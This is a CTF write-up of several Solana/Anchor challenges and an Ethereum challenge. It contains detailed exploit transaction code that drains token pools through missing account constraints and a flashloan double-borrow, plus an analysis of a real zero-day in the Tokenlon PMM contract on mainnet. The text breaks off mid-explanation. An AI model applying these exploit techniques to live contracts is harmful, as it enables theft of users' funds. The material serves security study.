Written by The Duck (Theori)
This is a series of challenges using Solana and Anchor.
In server/src/challenge.rs
, we can see the setup and win conditions for each of the challenges. The author also provided a convenient template to use as a solver for each challenge.
bitcoin
mintsetup_for_player
in challenge programsatoshi
pubkeybitcoin
for satoshi
and deposit it by caling deposit
bitcoin
for playerbitcoin
deposit account has a balance of 0The challenge is very simple and contains only two functions we care about: deposit
and withdraw
. deposit
transfers tokens from the user to the program deposit account, and then mints voucher tokens to the user. withdraw
does the exact opposite: burn voucher tokens and then transfer tokens back to the user.
One of the most common vulnerabilities in Solana programs is to fail to properly validate the accounts that are provided. We reviewed the Transact
accounts structures and attributes which is used for both deposit
and withdraw
. We noticed that the only constraint on the voucher_mint
account is that its mint_authority
is state. This is insufficient because an attacker could make a new mint account, mint themselves tokens, and change the mint authority to another account.
pub struct Transact<'info> {
...
#[account(mut, constraint = voucher_mint.mint_authority == COption::Some(state.key()))]
pub voucher_mint: Account<'info, Mint>,
...
}
In summary, we can create a fake voucher mint, mint ourselves fake voucher tokens, and then use these fake voucher tokens to withdraw from the challenge program.
// create a "bitoin" token account for the "attacker"
anchor.web3.SystemProgram.createAccount({
fromPubkey: player.publicKey,
lamports: minRentForAccount,
newAccountPubkey: attackerKeyPair.publicKey,
programId: spl.TOKEN_PROGRAM_ID,
space: spl.ACCOUNT_SIZE,
}),
spl.createInitializeAccountInstruction(
attackerKeyPair.publicKey,
new anchor.web3.PublicKey(accounts.bitcoinMint),
player.publicKey
),
// create a fake voucher mint account
anchor.web3.SystemProgram.createAccount({
fromPubkey: player.publicKey,
lamports: minRentForMint,
newAccountPubkey: mintKeyPair.publicKey,
programId: spl.TOKEN_PROGRAM_ID,
space: spl.MINT_SIZE,
}),
spl.createInitializeMintInstruction(
mintKeyPair.publicKey,
6,
player.publicKey,
null
),
// create a fake voucher token account for the "attacker"
anchor.web3.SystemProgram.createAccount({
fromPubkey: player.publicKey,
lamports: minRentForAccount,
newAccountPubkey: accountKeyPair.publicKey,
programId: spl.TOKEN_PROGRAM_ID,
space: spl.ACCOUNT_SIZE,
}),
spl.createInitializeAccountInstruction(
accountKeyPair.publicKey,
mintKeyPair.publicKey,
player.publicKey
),
// mint 1000000 fake voucher tokens
spl.createMintToInstruction(
mintKeyPair.publicKey,
accountKeyPair.publicKey,
player.publicKey,
1000000
),
// change the fake voucher mint authority to `state`
spl.createSetAuthorityInstruction(
mintKeyPair.publicKey,
player.publicKey,
spl.AuthorityType.MintTokens,
new anchor.web3.PublicKey(accounts.state)
),
// withdraw using the fake voucher tokens
// This succeeds because `withdraw` checks only that the `voucherMint` mint
// authority is `state`.
program.instruction.withdraw(new BN(1000000), {
accounts: {
player: player.publicKey,
depositor: player.publicKey,
state: new anchor.web3.PublicKey(accounts.state),
depositAccount: new anchor.web3.PublicKey(accounts.depositAccount),
voucherMint: mintKeyPair.publicKey,
depositorAccount: attackerKeyPair.publicKey,
depositorVoucherAccount: accountKeyPair.publicKey,
tokenProgram: new anchor.web3.PublicKey(spl.TOKEN_PROGRAM_ID),
}
}),
Similar to challenge 1, the challenge program has deposit
and withdraw
instructions. It also has an add_pool
instruction that we are instructed to ignore, as well as a swap
instruction. The basic behavior of the program is that users can deposit tokens, get voucher tokens in exchange, and withdraw by trading in their voucher tokens. Additionally, through the swap
instruction, users can trade one type of deposit token for another type of deposit token, one-to-one, taking into account decimal differences.
We begin by reviewing the accounts structures, DepositWithdraw
and Swap
, looking for incorrect conditions. We can quickly see that deposit_mint
in DepositWithdraw
has no constraints, which is suspicious. Each pool account should be tied to a single deposit mint account, but currently, an attacker could specify a deposit_mint
account that has no relationship with pool
or pool_account
.
pub struct DepositWithdraw<'info> {
...
pub deposit_mint: Account<'info, Mint>,
#[account(constraint = state.pools.contains(&pool.key()))]
pub pool: Account<'info, Pool>,
#[account(mut, address = pool.pool_account)]
pub pool_account: Box<Account<'info, TokenAccount>>,
#[account(mut, seeds = [player.key().as_ref(), VOUCHER, deposit_mint.key().as_ref()], bump)]
pub voucher_mint: Box<Account<'info, Mint>>,
#[account(mut, constraint = depositor_account.mint == pool.deposit_mint)]
pub depositor_account: Box<Account<'info, TokenAccount>>,
#[account(mut, constraint = depositor_voucher_account.mint == voucher_mint.key())]
pub depositor_voucher_account: Box<Account<'info, TokenAccount>>,
...
}
In summary, we can specify a pool
and pool_account
for one type of "eth" but specify a deposit_mint
, voucher_mint
, etc., for a different type of "eth". This would let us, for example, withdraw 1,000 "sollet eth" tokens from 1,000 "wormhole eth" voucher tokens, and then trade the 1,000 "sollet eth" tokens for 100,000 "wormhol eth" tokens using swap
, which we can deposit for more vouchers. We can repeat this over and over until we have drained enough funds from the accounts.
// swap 1,000 sollet for 100,000 wormhole
program.instruction.swap(new BN(1000), {
accounts: {
player: player.publicKey,
swapper: player.publicKey,
state: new anchor.web3.PublicKey(accounts.state),
fromPool: new anchor.web3.PublicKey(accounts.soEthPool),
toPool: new anchor.web3.PublicKey(accounts.woEthPool),
fromPoolAccount: new anchor.web3.PublicKey(accounts.soEthPoolAccount),
toPoolAccount: new anchor.web3.PublicKey(accounts.woEthPoolAccount),
fromSwapperAccount: playerSo,
toSwapperAccount: playerWo,
tokenProgram: spl.TOKEN_PROGRAM_ID,
}
}),
// deposit 100,000 wormhole for 100,000 wormhole vouchers
program.instruction.deposit(new BN(100000), {
accounts: {
player: player.publicKey,
depositor: player.publicKey,
state: new anchor.web3.PublicKey(accounts.state),
depositMint: new anchor.web3.PublicKey(accounts.woEthMint),
pool: new anchor.web3.PublicKey(accounts.woEthPool),
poolAccount: new anchor.web3.PublicKey(accounts.woEthPoolAccount),
voucherMint: new anchor.web3.PublicKey(accounts.woEthVoucherMint),
depositorAccount: playerWo,
depositorVoucherAccount: playerVoucherWo,
tokenProgram: spl.TOKEN_PROGRAM_ID,
}
}),
// withdraw 100,000 sollet by burning 100,000 wormhole vouchers
program.instruction.withdraw(new BN(100000), {
accounts: {
player: player.publicKey,
depositor: player.publicKey,
state: new anchor.web3.PublicKey(accounts.state),
depositMint: new anchor.web3.PublicKey(accounts.woEthMint),
pool: new anchor.web3.PublicKey(accounts.soEthPool),
poolAccount: new anchor.web3.PublicKey(accounts.soEthPoolAccount),
voucherMint: new anchor.web3.PublicKey(accounts.woEthVoucherMint),
depositorAccount: playerSo,
depositorVoucherAccount: playerVoucherWo,
tokenProgram: spl.TOKEN_PROGRAM_ID,
}
}),
// Swap again, and repeat...
// We have 100_000 SOLLET ETH
// We go for 10_000_000 SOLLET ETH
program.instruction.swap(new BN(100000), {
accounts: {
player: player.publicKey,
swapper: player.publicKey,
state: new anchor.web3.PublicKey(accounts.state),
fromPool: new anchor.web3.PublicKey(accounts.soEthPool),
toPool: new anchor.web3.PublicKey(accounts.woEthPool),
fromPoolAccount: new anchor.web3.PublicKey(accounts.soEthPoolAccount),
toPoolAccount: new anchor.web3.PublicKey(accounts.woEthPoolAccount),
fromSwapperAccount: playerSo,
toSwapperAccount: playerWo,
tokenProgram: spl.TOKEN_PROGRAM_ID,
}
}),
program.instruction.deposit(new BN(10000000), {
accounts: {
player: player.publicKey,
depositor: player.publicKey,
state: new anchor.web3.PublicKey(accounts.state),
depositMint: new anchor.web3.PublicKey(accounts.woEthMint),
pool: new anchor.web3.PublicKey(accounts.woEthPool),
poolAccount: new anchor.web3.PublicKey(accounts.woEthPoolAccount),
voucherMint: new anchor.web3.PublicKey(accounts.woEthVoucherMint),
depositorAccount: playerWo,
depositorVoucherAccount: playerVoucherWo,
tokenProgram: spl.TOKEN_PROGRAM_ID,
}
}),
program.instruction.withdraw(new BN(10000000), {
accounts: {
player: player.publicKey,
depositor: player.publicKey,
state: new anchor.web3.PublicKey(accounts.state),
depositMint: new anchor.web3.PublicKey(accounts.woEthMint),
pool: new anchor.web3.PublicKey(accounts.soEthPool),
poolAccount: new anchor.web3.PublicKey(accounts.soEthPoolAccount),
voucherMint: new anchor.web3.PublicKey(accounts.woEthVoucherMint),
depositorAccount: playerSo,
depositorVoucherAccount: playerVoucherWo,
tokenProgram: spl.TOKEN_PROGRAM_ID,
}
}),
// We have 10_000_000 SOLLET ETH
// We go for 90_000_000 SOLLET ETH
program.instruction.swap(new BN(900000), {
accounts: {
player: player.publicKey,
swapper: player.publicKey,
state: new anchor.web3.PublicKey(accounts.state),
fromPool: new anchor.web3.PublicKey(accounts.soEthPool),
toPool: new anchor.web3.PublicKey(accounts.woEthPool),
fromPoolAccount: new anchor.web3.PublicKey(accounts.soEthPoolAccount),
toPoolAccount: new anchor.web3.PublicKey(accounts.woEthPoolAccount),
fromSwapperAccount: playerSo,
toSwapperAccount: playerWo,
tokenProgram: spl.TOKEN_PROGRAM_ID,
}
}),
program.instruction.deposit(new BN(90000000), {
accounts: {
player: player.publicKey,
depositor: player.publicKey,
state: new anchor.web3.PublicKey(accounts.state),
depositMint: new anchor.web3.PublicKey(accounts.woEthMint),
pool: new anchor.web3.PublicKey(accounts.woEthPool),
poolAccount: new anchor.web3.PublicKey(accounts.woEthPoolAccount),
voucherMint: new anchor.web3.PublicKey(accounts.woEthVoucherMint),
depositorAccount: playerWo,
depositorVoucherAccount: playerVoucherWo,
tokenProgram: spl.TOKEN_PROGRAM_ID,
}
}),
program.instruction.withdraw(new BN(90000000), {
accounts: {
player: player.publicKey,
depositor: player.publicKey,
state: new anchor.web3.PublicKey(accounts.state),
depositMint: new anchor.web3.PublicKey(accounts.woEthMint),
pool: new anchor.web3.PublicKey(accounts.soEthPool),
poolAccount: new anchor.web3.PublicKey(accounts.soEthPoolAccount),
voucherMint: new anchor.web3.PublicKey(accounts.woEthVoucherMint),
depositorAccount: playerSo,
depositorVoucherAccount: playerVoucherWo,
tokenProgram: spl.TOKEN_PROGRAM_ID,
}
}),
// We can use our sollet to swap for 100,000,000 wormhole and 100,000,000 lido, and win.
program.instruction.swap(new BN(1000000), {
accounts: {
player: player.publicKey,
swapper: player.publicKey,
state: new anchor.web3.PublicKey(accounts.state),
fromPool: new anchor.web3.PublicKey(accounts.soEthPool),
toPool: new anchor.web3.PublicKey(accounts.woEthPool),
fromPoolAccount: new anchor.web3.PublicKey(accounts.soEthPoolAccount),
toPoolAccount: new anchor.web3.PublicKey(accounts.woEthPoolAccount),
fromSwapperAccount: playerSo,
toSwapperAccount: playerWo,
tokenProgram: spl.TOKEN_PROGRAM_ID,
}
}),
program.instruction.swap(new BN(1000000), {
accounts: {
player: player.publicKey,
swapper: player.publicKey,
state: new anchor.web3.PublicKey(accounts.state),
fromPool: new anchor.web3.PublicKey(accounts.soEthPool),
toPool: new anchor.web3.PublicKey(accounts.stEthPool),
fromPoolAccount: new anchor.web3.PublicKey(accounts.soEthPoolAccount),
toPoolAccount: new anchor.web3.PublicKey(accounts.stEthPoolAccount),
fromSwapperAccount: playerSo,
toSwapperAccount: playerSt,
tokenProgram: spl.TOKEN_PROGRAM_ID,
}
}),
atomcoin
atomcoin
into the pool accountatomcoin
for the pool count to 2 or lessWe are told in the setup code that we only need to use the borrow
and repay
instructions to complete this challenge. As such, we are not given any atomcoin
.
The borrow
instruction acts as a flashloan. It requires that the borrowed amount is repaid in the same transaction by looking forward through the list of instructions until it finds a repay
instruction. If the repay
instruction has the wrong program ID or pool key, it is ignored. If the wrong amount is passed to repay
, then it returns an error.
loop {
if let Ok(ixn) = solana::sysvar::instructions::load_instruction_at_checked(i, &ixns) {
// Is this a repay instruction for our program with the same pool?
if ixn.program_id == *ctx.program_id
&& u64::from_be_bytes(ixn.data[..8].try_into().unwrap()) == REPAY_OPCODE
&& ixn.accounts[3].pubkey == ctx.accounts.pool.key() {
// Does the repay amount match the borrow amount?
if u64::from_le_bytes(ixn.data[8..16].try_into().unwrap()) == amount {
break;
} else {
return Err(ProgramError::InvalidArgument);
}
} else {
i += 1;
}
}
else {
return Err(ProgramError::InvalidInstructionData);
}
}
Now, what happens if there are two deposits before a repay? If both of the deposit instructions were to search forward through the list of instructions, they would both find the same repay instruction. This would mean that the user could borrow twice and only need to repay once. The author prevents this scenario by having a borrowing
flag that is set to true by the borrow instruction and then reset to false by the repay instruction. If a borrow instructions sees that this flag is set, it will return an error.
pub fn borrow(ctx: Context<Borrow>, amount: u64) -> ProgramResult {
if ctx.accounts.pool.borrowing {
return Err(ProgramError::InvalidAccountData);
}
...
}
pub fn repay(ctx: Context<Repay>, amount: u64) -> ProgramResult {
...
ctx.accounts.pool.borrowing = false;
Ok(())
}
To reset the borrowing
flag between two calls to borrow, we could call repay with an amount of zero, but the first borrow instruction would throw an error when it sees the repay instruction in the list of instructions. We must hide the repay zero instruction from the borrow instruction by using our program that will invoke the repay instruction internally.
The first step is to write our program that will invoke the repay instruction with an amount of zero. The code is very simple and we use essentially the same accounts structure as the challenge program:
#[program]
pub mod wrapper {
use super::*;
pub fn repay(ctx: Context<RepayWrapper>) -> ProgramResult {
let cpi_program = ctx.accounts.challenge3_program.to_account_info();
let cpi_accounts = Repay {
player: ctx.accounts.player.to_account_info(),
user: ctx.accounts.user.to_account_info(),
state: ctx.accounts.state.to_account_info(),
pool: ctx.accounts.pool.to_account_info(),
pool_account: ctx.accounts.pool_account.to_account_info(),
depositor_account: ctx.accounts.depositor_account.to_account_info(),
token_program: ctx.accounts.token_program.to_account_info(),
};
let cpi_ctx = CpiContext::new(cpi_program, cpi_accounts);
challenge3::cpi::repay(cpi_ctx, 0);
Ok(())
}
}
#[derive(Accounts)]
pub struct RepayWrapper<'info> {
/// CHECK: shut up
pub player: AccountInfo<'info>,
pub user: Signer<'info>,
pub state: Account<'info, State>,
pub pool: Account<'info, Pool>,
pub pool_account: Account<'info, TokenAccount>,
pub depositor_account: Account<'info, TokenAccount>,
pub token_program: Program<'info, Token>,
pub challenge3_program: Program<'info, Challenge3>,
}
Now we can construct our transaction with instructions that will borrow, repay 0 through our program, borrow again, and then repay once. This lets us steal half of the tokens from the pool deposit token account. We can repeat until the pool deposit token account only has one token remaining.
// Borrow 50
program.instruction.borrow(new BN(50), {
accounts: {
player: player.publicKey,
state: new anchor.web3.PublicKey(accounts.state),
pool: new anchor.web3.PublicKey(accounts.pool),
poolAccount: new anchor.web3.PublicKey(accounts.poolAccount),
depositorAccount: playerAtom,
instructions: anchor.web3.SYSVAR_INSTRUCTIONS_PUBKEY,
tokenProgram: spl.TOKEN_PROGRAM_ID,
}
}),
// Repay 0
wrapperProgram.instruction.repay({
accounts: {
player: player.publicKey,
user: player.publicKey,
state: new anchor.web3.PublicKey(accounts.state),
pool: new anchor.web3.PublicKey(accounts.pool),
poolAccount: new anchor.web3.PublicKey(accounts.poolAccount),
depositorAccount: playerAtom,
tokenProgram: spl.TOKEN_PROGRAM_ID,
challenge3Program: new anchor.web3.PublicKey(accounts.programId),
}
}),
// Borrow 50
program.instruction.borrow(new BN(50), {
accounts: {
player: player.publicKey,
state: new anchor.web3.PublicKey(accounts.state),
pool: new anchor.web3.PublicKey(accounts.pool),
poolAccount: new anchor.web3.PublicKey(accounts.poolAccount),
depositorAccount: playerAtom,
instructions: anchor.web3.SYSVAR_INSTRUCTIONS_PUBKEY,
tokenProgram: spl.TOKEN_PROGRAM_ID,
}
}),
// Repay 50
program.instruction.repay(new BN(50), {
accounts: {
player: player.publicKey,
user: player.publicKey,
state: new anchor.web3.PublicKey(accounts.state),
pool: new anchor.web3.PublicKey(accounts.pool),
poolAccount: new anchor.web3.PublicKey(accounts.poolAccount),
depositorAccount: playerAtom,
tokenProgram: spl.TOKEN_PROGRAM_ID,
}
}),
// Repay 14
// Make the number of tokens in the pool deposit token account a power of 2 (i.e., 64)
program.instruction.repay(new BN(14), {
accounts: {
player: player.publicKey,
user: player.publicKey,
state: new anchor.web3.PublicKey(accounts.state),
pool: new anchor.web3.PublicKey(accounts.pool),
poolAccount: new anchor.web3.PublicKey(accounts.poolAccount),
depositorAccount: playerAtom,
tokenProgram: spl.TOKEN_PROGRAM_ID,
}
}),
// We repeat the exploit for each power of two: 32, 16, 8, 4, 2, 1
// Borrow 32
program.instruction.borrow(new BN(32), {
accounts: {
player: player.publicKey,
state: new anchor.web3.PublicKey(accounts.state),
pool: new anchor.web3.PublicKey(accounts.pool),
poolAccount: new anchor.web3.PublicKey(accounts.poolAccount),
depositorAccount: playerAtom,
instructions: anchor.web3.SYSVAR_INSTRUCTIONS_PUBKEY,
tokenProgram: spl.TOKEN_PROGRAM_ID,
}
}),
// Repay 0
wrapperProgram.instruction.repay({
accounts: {
player: player.publicKey,
user: player.publicKey,
state: new anchor.web3.PublicKey(accounts.state),
pool: new anchor.web3.PublicKey(accounts.pool),
poolAccount: new anchor.web3.PublicKey(accounts.poolAccount),
depositorAccount: playerAtom,
tokenProgram: spl.TOKEN_PROGRAM_ID,
challenge3Program: new anchor.web3.PublicKey(accounts.programId),
}
}),
// Borrow 32
program.instruction.borrow(new BN(32), {
accounts: {
player: player.publicKey,
state: new anchor.web3.PublicKey(accounts.state),
pool: new anchor.web3.PublicKey(accounts.pool),
poolAccount: new anchor.web3.PublicKey(accounts.poolAccount),
depositorAccount: playerAtom,
instructions: anchor.web3.SYSVAR_INSTRUCTIONS_PUBKEY,
tokenProgram: spl.TOKEN_PROGRAM_ID,
}
}),
// Repay 32
program.instruction.repay(new BN(32), {
accounts: {
player: player.publicKey,
user: player.publicKey,
state: new anchor.web3.PublicKey(accounts.state),
pool: new anchor.web3.PublicKey(accounts.pool),
poolAccount: new anchor.web3.PublicKey(accounts.poolAccount),
depositorAccount: playerAtom,
tokenProgram: spl.TOKEN_PROGRAM_ID,
}
}),
// ...
// repeated instructions
// ...
// Borrow 1
program.instruction.borrow(new BN(1), {
accounts: {
player: player.publicKey,
state: new anchor.web3.PublicKey(accounts.state),
pool: new anchor.web3.PublicKey(accounts.pool),
poolAccount: new anchor.web3.PublicKey(accounts.poolAccount),
depositorAccount: playerAtom,
instructions: anchor.web3.SYSVAR_INSTRUCTIONS_PUBKEY,
tokenProgram: spl.TOKEN_PROGRAM_ID,
}
}),
// Repay 0
wrapperProgram.instruction.repay({
accounts: {
player: player.publicKey,
user: player.publicKey,
state: new anchor.web3.PublicKey(accounts.state),
pool: new anchor.web3.PublicKey(accounts.pool),
poolAccount: new anchor.web3.PublicKey(accounts.poolAccount),
depositorAccount: playerAtom,
tokenProgram: spl.TOKEN_PROGRAM_ID,
challenge3Program: new anchor.web3.PublicKey(accounts.programId),
}
}),
// Borrow 1
program.instruction.borrow(new BN(1), {
accounts: {
player: player.publicKey,
state: new anchor.web3.PublicKey(accounts.state),
pool: new anchor.web3.PublicKey(accounts.pool),
poolAccount: new anchor.web3.PublicKey(accounts.poolAccount),
depositorAccount: playerAtom,
instructions: anchor.web3.SYSVAR_INSTRUCTIONS_PUBKEY,
tokenProgram: spl.TOKEN_PROGRAM_ID,
}
}),
// Repay 1
program.instruction.repay(new BN(1), {
accounts: {
player: player.publicKey,
user: player.publicKey,
state: new anchor.web3.PublicKey(accounts.state),
pool: new anchor.web3.PublicKey(accounts.pool),
poolAccount: new anchor.web3.PublicKey(accounts.poolAccount),
depositorAccount: playerAtom,
tokenProgram: spl.TOKEN_PROGRAM_ID,
}
}),
Stacking sats is much more enjoyable when they're not your sats.
The setup file is very simple. When the challenge instance is created, the setup records the WBTC balance of a target address. The challenge is considered solved if TARGET
's WBTC balance decreases by at least 128.
contract Setup {
ERC20Like public immutable WBTC = ERC20Like(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);
address public immutable TARGET = 0x8D90113A1e286a5aB3e496fbD1853F265e5913c6;
uint public immutable INITIAL_BALANCE;
constructor() {
INITIAL_BALANCE = WBTC.balanceOf(TARGET);
}
function isSolved() external view returns (bool) {
return INITIAL_BALANCE - WBTC.balanceOf(TARGET) >= 128;
}
}
At first glance, one may expect TARGET
to be a contract deployed by the challenge author. The source isn't provided in the challenge handout, so maybe we'll have to fetch the bytecode and decompile it? We decided to check if the target address exists on mainnet, and sure enough, it's a real exchange settlement contract from Tokenlon.
At this point it became clear that we have to exploit a 0day.
So what is the Tokenlon PMM contract? Thankfully, the verified source is available on etherscan. In essence, PMM is just a thin wrapper around 0x Protocol V2 which extracts a small fee on every trade. For those unfamiliar, 0x is a protocol for order settlement where orders are created and signed off-chain. The PMM contract has only one interesting public function:
function fill(
uint256 userSalt,
bytes memory data,
bytes memory userSignature
)
override
public
payable
onlyUserProxy
nonReentrant
returns (uint256)
{
// decode & assert
(LibOrder.Order memory order,
TradeInfo memory tradeInfo) = _assertTransaction(userSalt, data, userSignature);
// Deposit to WETH if taker asset is ETH, else transfer from user
IWETH weth = IWETH(permStorage.wethAddr());
if (address(weth) == tradeInfo.takerAssetAddr) {
require(
msg.value == order.takerAssetAmount,
"PMM: insufficient ETH"
);
weth.deposit{value: msg.value}();
} else {
spender.spendFromUser(tradeInfo.user, tradeInfo.takerAssetAddr, order.takerAssetAmount);
}
IERC20(tradeInfo.takerAssetAddr).safeIncreaseAllowance(zxERC20Proxy, order.takerAssetAmount);
// send tx to 0x
zeroExchange.executeTransaction(
userSalt,
address(this),
data,
""
);
// settle token/ETH to user
uint256 settleAmount = _settle(weth, tradeInfo.receiver, tradeInfo.makerAssetAddr, order.makerAssetAmount, tradeInfo.feeFactor);
IERC20(tradeInfo.takerAssetAddr).safeApprove(zxERC20Proxy, 0);
...
return settleAmount;
}
At a high level, when PMM.fillOrder
is called with a 0x order, it will extract information about the underlying trade and validate that it satisfies some constraints. It then uses the extracted information to perform the trade on behalf of the user. Calls to PMM.fillOrder
must always come from the PMM UserProxy
, so the userSignature
parameter is used to ensure that end users actually initiated the trade request.
The data
parameter is an abi-encoded call to the 0x Exchange contract. PMM.fillOrder
calls _assertTransaction(userSalt, data, userSignature)
to validate and extract order information from this encoded call:
function _assertTransaction(
uint256 userSalt,
bytes memory data,
bytes memory userSignature
)
internal
view
returns(
LibOrder.Order memory order,
TradeInfo memory tradeInfo
)
{
// decode fillOrder data
uint256 takerFillAmount;
bytes memory mmSignature;
(order, takerFillAmount, mmSignature) = decodeFillOrder(data);
require(
order.takerAddress == address(this),
"PMM: incorrect taker"
);
require(
order.takerAssetAmount == takerFillAmount,
"PMM: incorrect fill amount"
);
tradeInfo.feeFactor = uint16(order.salt);
... // signature checking logic omitted for writeup
// decode asset
// just support ERC20
tradeInfo.makerAssetAddr = decodeERC20Asset(order.makerAssetData);
tradeInfo.takerAssetAddr = decodeERC20Asset(order.takerAssetData);
return (
order,
tradeInfo
);
}
function decodeFillOrder(bytes memory data) internal pure returns(LibOrder.Order memory order, uint256 takerFillAmount, bytes memory mmSignature) {
require(
data.length > 800,
"LibDecoder: LENGTH_LESS_800"
);
// compare method_id
// 0x64a3bc15 is fillOrKillOrder's method id.
require(
data.readBytes4(0) == 0x64a3bc15,
"LibDecoder: WRONG_METHOD_ID"
);
bytes memory dataSlice;
assembly {
dataSlice := add(data, 4)
}
return abi.decode(dataSlice, (LibOrder.Order, uint256, bytes));
}
function decodeERC20Asset(bytes memory assetData) internal pure returns(address) {
require(
assetData.length == 36,
"LibDecoder: LENGTH_36_REQUIRED"
);
return assetData.readAddress(16);
}
We see data
must be an ecoded call to fillOrKillOrder. The order must only be fillable by the PMM contract (order.takerAddress == address(this)
) and the 0x call must fill the entire order (order.takerAssetAmount == takerFillAmount
). Normally, 0x supports partially filling limit orders, but PMM effectively disables this. Then, after validating the user has signed this trade request, PMM extracts the underlying assets being swapped in the 0x order using decodeERC20Asset
.
Back up in PMM.fillOrder
, PMM will accept the takerAsset
funds from the requesting user, execute the 0x swap (swapping takerAsset
for makerAsset
), and finally call _settle
, which simply extracts a fee and sends the remaining makerAsset
funds to the user. Note that the tradeInfo.feeFactor
is set to order.salt
, so the fee extracted by PMM is determined by the 0x order signer.
We first noticed that as long as the call to 0x succeeds, PMM will assume it was transfered the entire makerAmount
of makerAsset
, and will therefore transfer makerAmount
back to the user (asuming no fee). So can we construct a 0x order which passes the PMM validation, but actually transfers less than makerAmount
to PMM? Doing so will require looking into 0x internals.
Our first thought was to abuse partial order filling to bypass the order.takerAssetAmount == takerFillAmount
check. Internally, 0x tracks how much of each order has been filled, so when filling an order, it actually uses min256(takerFillAmount, remainingTakerAmount)
to determine the fill amount. Unfortunately, PMM is calling fillOrKillOrder
(rather than fillOrder
), which has an additional check that the actual fill amount was as requested, so we quickly abandoned this idea.
Another quirk of 0x order settlement is rounding errors. To determine the amount of makerAsset
to transfer, 0x computes the floor of takerFillAmount * makerAssetAmount / takerAssetAmount
, but will revert if the rounding error is greater than 0.1%
. Since our goal is only to steal a small amount of WBTC, it was conceivable that a tiny rounding error could achieve this. However, without using partial fills, it seemed impossible to have any rounding error at all.
Eventually, another feature of 0x order caught our attention: orders can swap between a variety of asset classes - not just ERC20s. This is possible because makerAsset
and takerAsset
are not simply ERC20 token addresses, but rather byte encodings of asset proxy descriptors. The first 4 bytes are the Proxy Selector. Similar to a solidity function selector, this selector determines which code 0x will call when transfering the asset. The remaining bytes in the asset data depend on which proxy is used:
/// @dev Function signature for encoding ERC-20 assetData.
/// @param tokenAddress Address of ERC20Token contract.
function ERC20Token(address tokenAddress) external;
/// @dev Function signature for encoding ERC-721 assetData.
/// @param tokenAddress Address of ERC-721 token contract.
/// @param tokenId Id of ERC-721 token to be transferred.
function ERC721Token(address tokenAddress, uint256 tokenId) external;
/// @dev Function signature for encoding ERC-1155 assetData.
/// @param tokenAddress Address of ERC-1155 token contract.
/// @param tokenIds Array of ids of tokens to be transferred.
/// @param values Array of values that correspond to each token id to be transferred.
/// Note that each value will be multiplied by the amount being filled in the order before transferring.
/// @param callbackData Extra data to be passed to receiver's `onERC1155Received` callback function.
function ERC1155Assets(
address tokenAddress,
uint256[] calldata tokenIds,
uint256[] calldata values,
bytes calldata callbackData
) external;
// NOTE: other proxies are omitted
Note that although the asset encodings mimic solidity function calls, the proxies are actually each their own contract implementing the following interface:
contract IAssetProxy is
IAuthorizable
{
/// @dev Transfers assets. Either succeeds or throws.
/// @param assetData Byte array encoded for the respective asset proxy.
/// @param from Address to transfer asset from.
/// @param to Address to transfer asset to.
/// @param amount Amount of asset to transfer.
function transferFrom(
bytes assetData,
address from,
address to,
uint256 amount )
external;
/// @dev Gets the proxy id associated with the proxy address.
/// @return Proxy id.
function getProxyId()
external
pure
returns (bytes4);
}
Recall how PMM extracted the makerAsset
address:
function decodeERC20Asset(bytes memory assetData) internal pure returns(address) {
require(
assetData.length == 36,
"LibDecoder: LENGTH_36_REQUIRED"
);
return assetData.readAddress(16);
}
It is expecting the assetData
to be ERC20Token(address)
. It correctly checks that the length is 36 bytes, but it doesn't check the selector. Tis may seem safe, because none of the other asset encodings are 36 bytes long, but consider what happens if you truncate a different type of assetData
to 36 bytes. Specifically, let's look at the ERC721 proxy, where the expected encoding is abi.encodeWithSelector(ERC721_PROXY_SELECTOR, erc721TokenAddress, tokenId)
. If we omit the tokenId
, this is 36 bytes long, and has the erc721TokenAddress
at the same offset that the erc20TokenAddress
would be. What happens if the ERC721 proxy is called with truncated assetData
?
assembly {
// The first 4 bytes of calldata holds the function selector
let selector := and(calldataload(0), 0xffffffff00000000000000000000000000000000000000000000000000000000)
// `transferFrom` will be called with the following parameters:
// assetData Encoded byte array.
// from Address to transfer asset from.
// to Address to transfer asset to.
// amount Amount of asset to transfer.
// bytes4(keccak256("transferFrom(bytes,address,address,uint256)")) = 0xa85e59e4
if eq(selector, 0xa85e59e400000000000000000000000000000000000000000000000000000000) {
... // authorization check omitted for writeup
// There exists only 1 of each token.
// require(amount == 1, "INVALID_AMOUNT")
if sub(calldataload(100), 1) {
// Revert with `Error("INVALID_AMOUNT")`
mstore(0, 0x08c379a000000000000000000000000000000000000000000000000000000000)
mstore(32, 0x0000002000000000000000000000000000000000000000000000000000000000)
mstore(64, 0x0000000e494e56414c49445f414d4f554e540000000000000000000000000000)
mstore(96, 0)
revert(0, 100)
}
/////// Setup Header Area ///////
// This area holds the 4-byte `transferFrom` selector.
// Any trailing data in transferFromSelector will be
// overwritten in the next `mstore` call.
mstore(0, 0x23b872dd00000000000000000000000000000000000000000000000000000000)
/////// Setup Params Area ///////
// We copy the fields `from` and `to` in bulk
// from our own calldata to the new calldata.
calldatacopy(4, 36, 64)
// Copy `tokenId` field from our own calldata to the new calldata.
let assetDataOffset := calldataload(4)
calldatacopy(68, add(assetDataOffset, 72), 32)
/////// Call `token.transferFrom` using the calldata ///////
let token := calldataload(add(assetDataOffset, 40))
let success := call(
gas, // forward all gas
token, // call address of token contract
0, // don't send any ETH
0, // pointer to start of input
100, // length of input
0, // write output to null
0 // output size is 0 bytes
)
if success {
return(0, 0)
}
// Revert with `Error("TRANSFER_FAILED")`
mstore(0, 0x08c379a000000000000000000000000000000000000000000000000000000000)
mstore(32, 0x0000002000000000000000000000000000000000000000000000000000000000)
mstore(64, 0x0000000f5452414e534645525f4641494c454400000000000000000000000000)
mstore(96, 0)
revert(0, 100)
}
// Revert if undefined function is called
revert(0, 0)
}
}
Here, the important line is calldatacopy(68, add(assetDataOffset, 72), 32)
. When abi-encoding the proxy calldata to transferFrom(bytes,address,address,uint256)
, the bytes
field is dynamic, and it's data will be placed at the end of the calldata. That means that if our assetData is truncated, this calldatacopy
will copy from beyond the bounds of the calldata, which are defined to be 0 bytes by the EVM. So, omitting the tokenId
from an ERC721 proxy encoding is equivalent to setting tokenId = 0
.
But how does this help us? The ERC721 proxy will call ERC721(address).transferFrom(from, to, 0)
, so wouldn't that simply fail if we set address == WBTC
? As it turns out, no! Coincidentally, ERC721.transferFrom
and ERC20.transferFrom
have the same signature, so the transferFrom
call will look like an attempt to transfer 0 WBTC!
In order to exploit this bug, we need to execute a 0x order with makerAssetData = abi.encodeWithSelector(ERC721_PROXY_SELECTOR, WBTC)
